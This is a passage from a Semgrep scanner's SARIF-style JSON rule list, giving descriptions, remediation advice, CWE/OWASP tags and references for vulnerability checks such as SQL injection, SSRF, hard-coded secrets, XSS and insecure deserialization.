a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express","id":"javascript.express.db.sequelize-express.sequelize-express","name":"javascript.express.db.sequelize-express.sequelize-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sequelize-express.sequelize-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"help":{"markdown":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf)\n - [https://www.cvedetails.com/cve/CVE-2020-28168/](https://www.cvedetails.com/cve/CVE-2020-28168/)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"helpUri":"https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","id":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","name":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","id":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","name":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"help":{"markdown":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash)\n - [https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile](https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile)\n","text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"helpUri":"https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","id":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","name":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","id":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","name":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","id":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","name":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted)\n - [https://laravel.com/docs/9.x/responses#cookies-and-encryption](https://laravel.com/docs/9.x/responses#cookies-and-encryption)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management)\n","text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","id":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","name":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"help":{"markdown":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment)\n - [https://cwe.mitre.org/data/definitions/915.html](https://cwe.mitre.org/data/definitions/915.html)\n - [https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md](https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md)\n","text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment","id":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","name":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.audit.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","id":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","name":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"help":{"markdown":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters)\n - [https://trojansource.codes/](https://trojansource.codes/)\n","text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"helpUri":"https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters","id":"generic.unicode.security.bidi.contains-bidirectional-characters","name":"generic.unicode.security.bidi.contains-bidirectional-characters","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.unicode.security.bidi.contains-bidirectional-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","id":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","name":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","id":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","name":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django","id":"python.django.deserialization.tainted-dill-django.tainted-dill-django","name":"python.django.deserialization.tainted-dill-django.tainted-dill-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-dill-django.tainted-dill-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role","id":"json.aws.security.wildcard-assume-role.wildcard-assume-role","name":"json.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password","id":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","name":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-empty-password.pgx-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors","id":"php.lang.security.php-permissive-cors.php-permissive-cors","name":"php.lang.security.php-permissive-cors.php-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.php-permissive-cors.php-permissive-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"help":{"markdown":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return)\n - [https://pkg.go.dev/sync#Mutex](https://pkg.go.dev/sync#Mutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing mutex unlock (`$T` variable) before returning from a function.  This could result in panics resulting from double lock operations"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","id":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","name":"trailofbits.go.missing-unlock-before-return.missing-unlock-before-return","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-unlock-before-return.missing-unlock-before-return"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","id":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","name":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code 